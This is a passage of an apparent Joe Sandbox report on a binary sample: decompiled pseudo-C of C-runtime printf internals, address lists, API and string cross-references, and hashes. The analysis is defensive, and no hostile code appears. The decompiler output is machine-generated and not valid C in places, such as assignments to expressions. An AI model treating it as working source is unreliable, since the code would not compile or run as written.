																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0x2c9cf96e
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AAD0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xac9cf9bd
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AAD0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xac9cf9c2
																							E00424340(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428150(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428190(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434010(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428150(__ebp + 0x14);
																			if(E00433CF0() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E000();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																				__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAA0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00434d69
0x00434d69
0x00434d69
0x00434d69
0x00434d69
0x00434d69
0x00434d69
0x00434d6f
0x00434d72
0x00000000
0x00434dea
0x00000000
0x00434dea
0x00000000
0x00434dea
0x00434dea
0x00434df2
0x00434e14
0x00434e1a
0x00434e3f
0x00434e86
0x00434e89
0x00434eaa
0x00434eaf
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8f
0x00434e94
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e47
0x00434e69
0x00434e6e
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e4d
0x00434e52
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e20
0x00434e25
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df8
0x00434dfd
0x00434e00
0x00434e06
0x00434e06
0x00434ec6
0x00434f08
0x00434f0e
0x00434f1a
0x00000000
0x00434ec8
0x00434ec8
0x00434ec8
0x00434ecf
0x00000000
0x00434edc
0x00434edc
0x00434eea
0x00434eef
0x00434ef5
0x00434f03
0x00434f20
0x00434f28
0x00434f4a
0x00434f4a
0x00434f54
0x00434f65
0x00434f6f
0x00434f71
0x00434f71
0x00434f56
0x00434f56
0x00434f56
0x00434f84
0x00434f86
0x00434f86
0x00434f90
0x00434f93
0x00434f93
0x00434f99
0x00434f9c
0x00434fa1
0x00000000
0x00000000
0x00434fb1
0x00434fb4
0x00434fbe
0x00434fcd
0x00434fd6
0x00434fec
0x00434ff2
0x00434fff
0x0043500d
0x0043500d
0x0043501c
0x00435024
0x00435024
0x0043502c
0x00435032
0x0043503b
0x00435047
0x00435060
0x00435066
0x0043506f
0x0043506f
0x00000000
0x00435072
0x00000000
0x00435072
0x00000000
0x00435072
0x00000000
0x00435072
0x00000000
0x00435072
0x00000000
0x00435072
0x00000000
0x00435072
0x00435072
0x00435072
0x00435076
0x0043525d
0x00435261
0x00435269
0x0043526e
0x00435271
0x00435271
0x00435278
0x00435278
0x0043434f
0x00434355
0x00434362
0x00434367
0x00000000
0x0043437a
0x00434384
0x004343ab
0x00434392
0x004343a3
0x004343a3
0x00434384
0x004343b5
0x004343bb
0x004343c7
0x004343ca
0x004343d8
0x004343db
0x004343e8
0x0043448d
0x00434493
0x004344a0
0x00000000
0x00000000
0x004344a6
0x004344ac
0x00000000
0x004344b3
0x004344b3
0x004344cb
0x004344d0
0x004344d5
0x0043458f
0x004345a2
0x004345a7
0x00000000
0x004344db
0x004344ee
0x004344f3
0x004344f9
0x004344fb
0x00434504
0x00434507
0x00434513
0x00434517
0x0043451d
0x0043451f
0x00434524
0x00434526
0x0043452b
0x00434530
0x00434532
0x00434537
0x0043453d
0x0043453f
0x0043453f
0x0043453d
0x00434540
0x00434547
0x00000000
0x00434549
0x0043454e
0x0043456a
0x00434572
0x0043457f
0x00434584
0x00000000
0x00434584
0x00434547
0x00000000
0x004345af
0x004345af
0x004345b6
0x004345b9
0x004345bc
0x004345bf
0x004345c2
0x004345c5
0x004345c8
0x004345cf
0x004345d6
0x00000000
0x00000000
0x004345e2
0x004345e2
0x004345e9
0x004345f5
0x004345f8
0x00434605
0x00000000
0x00000000
0x00434607
0x00434607
0x0043460d
0x0043460d
0x00434614
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434657
0x00434657
0x00434661
0x0043468b
0x0043468e
0x00434691
0x00434698
0x00434698
0x0043469c
0x00434663
0x00434663
0x0043466f
0x00434676
0x00434678
0x0043467b
0x0043467e
0x00434684
0x00434686
0x00434686
0x00434689
0x00000000
0x00000000
0x004346a4
0x004346a4
0x00000000
0x00000000
0x004346b0
0x004346b0
0x004346ba
0x004346dd
0x004346e7
0x004346e7
0x004346eb
0x004346bc
0x004346bc
0x004346c8
0x004346cf
0x004346d1
0x004346d1
0x004346d8
0x00000000
0x00000000
0x004346f3
0x004346f3
0x004346fa
0x00434706
0x00434709
0x00434716
0x00434829
0x00000000
0x00434829
0x0043471c
0x0043471c
0x00434722
0x00434722
0x00434729
0x00000000
0x0043475f
0x0043475f
0x00434762
0x00434768
0x00434790
0x00434790
0x00434793
0x00434799
0x004347be
0x004347be
0x004347c1
0x004347c7
0x00434800
0x00434811
0x00000000
0x00434811
0x004347c9
0x004347c9
0x004347cc
0x004347d2
0x00000000
0x00000000
0x004347d4
0x004347d4
0x004347d7
0x004347dd
0x00000000
0x00000000
0x004347df
0x004347df
0x004347e2
0x004347e8
0x00000000
0x00000000
0x004347ea
0x004347ea
0x004347ed
0x004347f3
0x00000000
0x00000000
0x004347f5
0x004347f5
0x004347f8
0x004347fe
0x00434802
0x00434802
0x00000000
0x00434802
0x00000000
0x004347fe
0x0043479b
0x0043479b
0x0043479e
0x004347a5
0x00000000
0x00000000
0x004347a7
0x004347aa
0x004347ad
0x004347b0
0x004347b3
0x004347b9
0x00000000
0x004347b9
0x0043476a
0x0043476a
0x0043476d
0x00434774
0x00000000
0x00000000
0x00434776
0x00434779
0x0043477c
0x0043477f
0x00434782
0x00434788
0x00000000
0x00000000
0x00434813
0x00434816
0x00434819
0x00000000
0x00000000
0x00434730
0x00434730
0x00434733
0x00434739
0x00434751
0x00434754
0x00434757
0x0043473b
0x0043473e
0x00434741
0x00434747
0x0043474c
0x0043474c
0x00000000
0x00000000
0x0043481e
0x00434821
0x00434826
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434631
0x00434634
0x00434637
0x00000000
0x00000000
0x0043463c
0x0043463f
0x00434644
0x00000000
0x00000000
0x00434626
0x00434626
0x00434629
0x0043462c
0x00000000
0x00000000
0x0043461b
0x0043461e
0x00434621
0x00000000
0x00000000
0x00434649
0x00434649
0x0043464c
0x0043464f
0x00000000
0x00000000
0x00434652
0x00000000
0x00000000
0x004343ee
0x004343f0
0x004343fe
0x004343f2
0x004343f2
0x004343f2
0x00434408
0x0043440e
0x0043441b
0x0043441d
0x00434422
0x00434424
0x00434429
0x0043442e
0x00434430
0x00434435
0x0043443b
0x0043443d
0x0043443d
0x0043443b
0x0043443e
0x00434445
0x00000000
0x00434447
0x0043444c
0x00434468
0x00434470
0x0043447d
0x00434482
0x00435341
0x0043534e
0x0043534e
0x00434445
0x004343e8
0x0043527d
0x00435284
0x0043529b
0x0043528f
0x0043528f
0x0043528f
0x004352a5
0x004352ab
0x004352b8
0x004352ba
0x004352bf
0x004352c1
0x004352c6
0x004352cb
0x004352cd
0x004352d2
0x004352d8
0x004352da
0x004352da
0x004352d8
0x004352e2
0x0043532d
0x00435336
0x0043533b
0x004352e4
0x004352e9
0x00435305
0x0043530d
0x0043531a
0x0043531f
0x0043531f
0x00000000
0x004352e2
0x0043507c
0x00435082
0x0043508c
0x004350a1
0x004350b6
0x004350b8
0x004350bc
0x004350bc
0x004350a3
0x004350a3
0x004350a7
0x004350a7
0x0043508e
0x0043508e
0x00435092
0x00435092
0x0043508c
0x004350cc
0x004350d8
0x004350ee
0x004350f3
0x004350f3
0x00435109
0x0043510e
0x00435117
0x00435135
0x0043513a
0x0043513a
0x00435141
0x00435215
0x00435228
0x0043522d
0x00000000
0x00435151
0x00435151
0x00435151
0x0043515e
0x00435167
0x0043516d
0x0043516d
0x0043517c
0x00435184
0x00000000
0x00000000
0x0043518a
0x00435193
0x004351b2
0x004351b7
0x004351ba
0x004351c9
0x004351d6
0x004351e1
0x004351e1
0x00000000
0x004351ed
0x004351ed
0x00435206
0x0043520b
0x00000000
0x0043520b
0x004351d6
0x00435213
0x00435230
0x00435237
0x00435255
0x0043525a
0x0043525a
0x00000000
0x00435237
0x0043482e
0x0043482e
0x00434835
0x0043483b
0x00434841
0x00434844
0x0043484a
0x0043485d
0x0043485d
0x00434864
0x00000000
0x00434bbe
0x00434bbe
0x00434bc5
0x00434bcc
0x00434bcf
0x00000000
0x00000000
0x0043486b
0x0043486e
0x00434874
0x00434879
0x0043487e
0x0043487e
0x00000000
0x00000000
0x004349ab
0x004349ae
0x004349b3
0x004349b8
0x004349be
0x004349be
0x00000000
0x00000000
0x00434d8b
0x00434d8b
0x00000000
0x00000000
0x00434915
0x00434915
0x00434921
0x0043492e
0x0043493c
0x0043493c
0x00434942
0x00434945
0x00434951
0x004349a6
0x00000000
0x004349a6
0x00434930
0x00434930
0x0043493a
0x00434956
0x00434959
0x0043495f
0x00434987
0x0043498e
0x00434994
0x00434997
0x0043499a
0x004349a0
0x004349a3
0x00434961
0x00434961
0x00434967
0x0043496a
0x0043496d
0x00434973
0x00434976
0x00434979
0x0043497b
0x0043497e
0x0043497e
0x00000000
0x0043495f
0x00000000
0x00000000
0x00434bd5
0x00434bd8
0x00434bdb
0x00434bde
0x00434be4
0x00434be7
0x00434bf2
0x00434bfd
0x00434c01
0x00434c18
0x00434c1f
0x00434c21
0x00434c21
0x00434c28
0x00434c2f
0x00434c40
0x00434c4f
0x00434c56
0x00434c6c
0x00434c58
0x00434c58
0x00434c5b
0x00434c61
0x00434c67
0x00434c67
0x00434c56
0x00434c76
0x00434c79
0x00434c7c
0x00434c7f
0x00434c82
0x00434c85
0x00434c8b
0x00434c91
0x00434c99
0x00434c9a
0x00434c9d
0x00434c9e
0x00434ca1
0x00434ca2
0x00434ca9
0x00434caa
0x00434cad
0x00434cae
0x00434cb1
0x00434cb2
0x00434cb8
0x00434cb9
0x00434cc7
0x00434cc9
0x00434ccf
0x00434cd5
0x00434cdd
0x00434ce5
0x00434ce6
0x00434ce9
0x00434cea
0x00434cf8
0x00434cfa
0x00434cfa
0x00434cfd
0x00434d07
0x00434d0c
0x00434d12
0x00434d14
0x00434d1c
0x00434d1d
0x00434d20
0x00434d21
0x00434d30
0x00434d32
0x00434d32
0x00434d12
0x00434d35
0x00434d38
0x00434d3e
0x00434d43
0x00434d49
0x00434d4f
0x00434d52
0x00434d52
0x00434d55
0x00434d61
0x00000000
0x00434d61
0x00434c03
0x00434c03
0x00434c0d
0x00000000
0x00000000
0x00434c0f
0x00434c0f
0x00000000
0x00434c0f
0x00434bf4
0x00434bf4
0x00000000
0x00000000
0x00434881
0x00434884
0x0043488a
0x004348e5
0x004348ed
0x004348f4
0x004348fa
0x00434900
0x0043488c
0x0043488c
0x00434896
0x0043489a
0x004348a2
0x004348a9
0x004348b6
0x004348bd
0x004348c9
0x004348d6
0x004348d8
0x004348d8
0x004348df
0x00434907
0x0043490d
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ac7
0x00434ac7
0x00434ad3
0x00434ae0
0x00434b8a
0x00434b8d
0x00434b90
0x00434ba4
0x00434baa
0x00434bb0
0x00434b92
0x00434b92
0x00434b9f
0x00434b9f
0x00434bb2
0x00000000
0x00434bb2
0x00434ae6
0x00434ae6
0x00434ae8
0x00434af6
0x00434aea
0x00434aea
0x00434aea
0x00434b00
0x00434b06
0x00434b13
0x00434b15
0x00434b1a
0x00434b1c
0x00434b21
0x00434b26
0x00434b28
0x00434b2d
0x00434b33
0x00434b35
0x00434b35
0x00434b33
0x00434b3d
0x00434b85
0x00000000
0x00434b3f
0x00434b3f
0x00434b44
0x00434b60
0x00434b68
0x00434b72
0x00434b75
0x00434b7a
0x00000000
0x00434b7a
0x00000000
0x00434dcc
0x00434dcc
0x00434dd6
0x00434ddc
0x00434de1
0x00434de7
0x00434de7
0x00000000
0x00000000
0x00434d84
0x00434d84
0x00000000
0x00000000
0x004349c1
0x004349c5
0x004349d3
0x004349d6
0x004349c7
0x004349c7
0x004349c7
0x004349dc
0x004349e2
0x004349e8
0x004349f4
0x004349fa
0x00434a00
0x00434a67
0x00434a6b
0x00434a6d
0x00434a73
0x00434a73
0x00434a76
0x00434a79
0x00434a7f
0x00434a7f
0x00434a7f
0x00434a8b
0x00434a8e
0x00434a96
0x00000000
0x00000000
0x00434a98
0x00434a98
0x00434a9e
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aab
0x00434aae
0x00434aae
0x00434ab6
0x00434abc
0x00434abf
0x00000000
0x00434a02
0x00434a02
0x00434a06
0x00434a08
0x00434a0d
0x00434a0d
0x00434a10
0x00434a17
0x00434a1a
0x00434a20
0x00434a20
0x00434a20
0x00434a2c
0x00434a2f
0x00434a37
0x00000000
0x00000000
0x00434a39
0x00434a39
0x00434a3f
0x00434a44
0x00000000
0x00000000
0x00434a46
0x00434a4c
0x00434a4f
0x00434a4f
0x00434a57
0x00434a5d
0x00434a60
0x00434a62
0x00434ac2
0x00000000
0x00434ac2
0x00000000
0x00434d7b
0x00434d7b
0x00000000
0x00000000
0x00434d97
0x00434d97
0x00434da1
0x00434da1
0x00434dab
0x00434db1
0x00434db3
0x00434dbd
0x00434dc0
0x00434dc3
0x00434dc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00434864
0x00435072
0x00435072
0x00435072
0x00435072
0x00435072
0x00435072
0x00435072
0x00434ecf
0x00434ec6
0x00434dea
0x00434dea
0x00434dea

APIs

_get_int64_arg.LIBCMTD ref: 00434DF8
_get_int64_arg.LIBCMTD ref: 00434E20
__aullrem.LIBCMT ref: 00434FC5
__aulldiv.LIBCMT ref: 00434FE7
_write_multi_char.LIBCMTD ref: 004350EE
_write_string.LIBCMTD ref: 00435109
_write_multi_char.LIBCMTD ref: 00435135
_wctomb_s.LIBCMTD ref: 004351B2

Strings

_output_s_l, xrefs: 0043445E
9, xrefs: 00434FF8
("Incorrect format specifier", 0), xrefs: 0043441D, 00434463
-, xrefs: 0043508E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434429, 00434459

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 3355f3763932df07ad1d0fd2ae35eb3be2290e0e985baa9290650d978a1f8e6e
Instruction ID: 93d399793338681cbad639d3d2a983cb3f44b83361e31d0ade7442a2b62068bc
Opcode Fuzzy Hash: 3355f3763932df07ad1d0fd2ae35eb3be2290e0e985baa9290650d978a1f8e6e
Instruction Fuzzy Hash: 8BF14BB1D056299FDB24CF54CC89BEEB7B5BB88304F1481DAE419A7281D7386E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C00B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C00B(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E00428150(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00428150(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E00428150(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00428150(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00428170(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00428170(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00430570(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E004305F0( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
